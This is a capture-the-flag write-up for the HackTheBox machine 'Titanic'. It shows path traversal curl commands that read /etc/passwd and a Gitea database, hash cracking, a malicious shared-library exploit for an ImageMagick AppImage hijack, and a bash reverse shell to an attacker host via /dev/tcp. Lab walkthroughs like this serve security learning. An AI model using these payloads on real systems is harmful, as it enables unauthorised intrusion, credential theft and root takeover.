SC
All write-ups
8 min read

HackTheBox — Titanic (Linux)

HTBPath TraversalLFIGiteaImageMagickLinux

Overview

Titanic is a Linux machine on HackTheBox rated Easy. A custom web application exposes a path traversal vulnerability through its ticket download feature, allowing arbitrary file reads. This leads to discovering a Gitea instance, extracting its SQLite database via LFI, and cracking user credentials. Privilege escalation abuses an ImageMagick AppImage binary that loads shared libraries from an attacker-controlled path.

Property Value
OS Linux (Ubuntu)
IP 10.10.11.55
Difficulty Easy
Key Techniques Path Traversal / LFI, Gitea Hash Extraction, ImageMagick AppImage Hijack

Titanic — Attack Path Mind Map


Enumeration

Port Scan

nmap -sC -sV 10.10.11.55
Port Service Version
22/tcp SSH OpenSSH 8.9p1 (Ubuntu)
80/tcp HTTP Apache httpd (titanic.htb)

Add to /etc/hosts:

10.10.11.55 titanic.htb

The web application is a custom site with a ticket submission feature. Submitting a ticket returns a JSON response containing a download URL.


Foothold

Path Traversal via Ticket Download

The /download endpoint accepts a ticket parameter that is vulnerable to classic directory traversal:

curl "http://titanic.htb/download?ticket=../../../../etc/passwd"

This confirms arbitrary file read. Key users from /etc/passwd:

User Shell
root /bin/bash
developer /bin/bash

Reading the User Flag via LFI

The path traversal allows reading user files directly:

curl "http://titanic.htb/download?ticket=../../../../home/developer/user.txt"

User flag obtained without SSH access.

Subdomain Enumeration

Using ffuf to discover subdomains:

ffuf -u http://titanic.htb -H "Host: FUZZ.titanic.htb" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fw 20

Result: dev.titanic.htb — running Gitea (self-hosted Git service).

Confirmation via LFI on /etc/hosts:

curl "http://titanic.htb/download?ticket=../../../../etc/hosts"
# 10.10.11.55 titanic.htb dev.titanic.htb

Gitea Reconnaissance

gobuster dir -u http://dev.titanic.htb -w /usr/share/wordlists/dirb/common.txt

Key findings:

Path Note
/developer User profile with Git repositories
/developer/docker-config Docker Compose configurations
/developer/flask-app Source code for the main web app

The Docker Compose file reveals MySQL credentials and volume mount paths:

environment:
  - MYSQL_ROOT_PASSWORD=MySQLP@$w0rd!
  - MYSQL_DATABASE=gitea
  - MYSQL_USER=gitea
  - MYSQL_PASSWORD=MySQLP@$w0rd!
volumes:
  - ./gitea-data:/data

Credential Extraction

Gitea Database Download

Knowing the Gitea data volume path, the SQLite database can be downloaded via LFI:

curl "http://titanic.htb/download?ticket=../../../../home/developer/gitea-data/gitea/gitea.db" \
  -o gitea.db

Hash Extraction

Using gitea2hashcat.py to extract password hashes from the database:

python3 gitea2hashcat.py gitea.db

Output:

developer:pbkdf2_hi$SHA256$50000$...

The hash format is PBKDF2-HMAC-SHA256 with 50,000 iterations (hashcat mode 10900).

Hash Cracking

hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Result: 25282528

Field Value
Username developer
Password 25282528

SSH Access

ssh developer@titanic.htb
# Password: 25282528

Privilege Escalation

Enumeration — Cron Script

A script /opt/scripts/identify_images.sh runs periodically with root privileges:

cd /opt/app/static/assets/images/
for f in *.jpg; do
  /usr/local/bin/magick identify "$f"
done

The script uses ImageMagick via an AppImage binary to process all .jpg files in a writable directory.

ImageMagick AppImage Hijack (GHSA-8rxc-922v-phg8)

ImageMagick versions <= 7.1.1-35 packaged as an AppImage are vulnerable to shared library hijacking. When executed, the AppImage extracts to a temporary directory and loads libraries from the current working directory before system paths.

Checking the version:

/usr/local/bin/magick --version
# ImageMagick 7.1.1-35

Confirmed vulnerable. The attack involves placing a malicious libxcb.so.1 in the images directory.

Exploitation

Create a malicious shared library with a constructor function:

// exploit.c
#include <stdlib.h>

__attribute__((constructor))
void init(void) {
    system("cat /root/root.txt > /tmp/root.txt && chmod 644 /tmp/root.txt");
}

Compile it:

gcc -shared -fPIC -o libxcb.so.1 exploit.c

Copy to the images directory and create a dummy .jpg to trigger processing:

cp libxcb.so.1 /opt/app/static/assets/images/
cp /opt/app/static/assets/images/existing.jpg /opt/app/static/assets/images/trigger.jpg

Wait for the cron script to execute:

cat /tmp/root.txt

Root flag obtained.

For a persistent root shell, modify the constructor to spawn a reverse shell:

__attribute__((constructor))
void init(void) {
    system("bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'");
}

Key Takeaways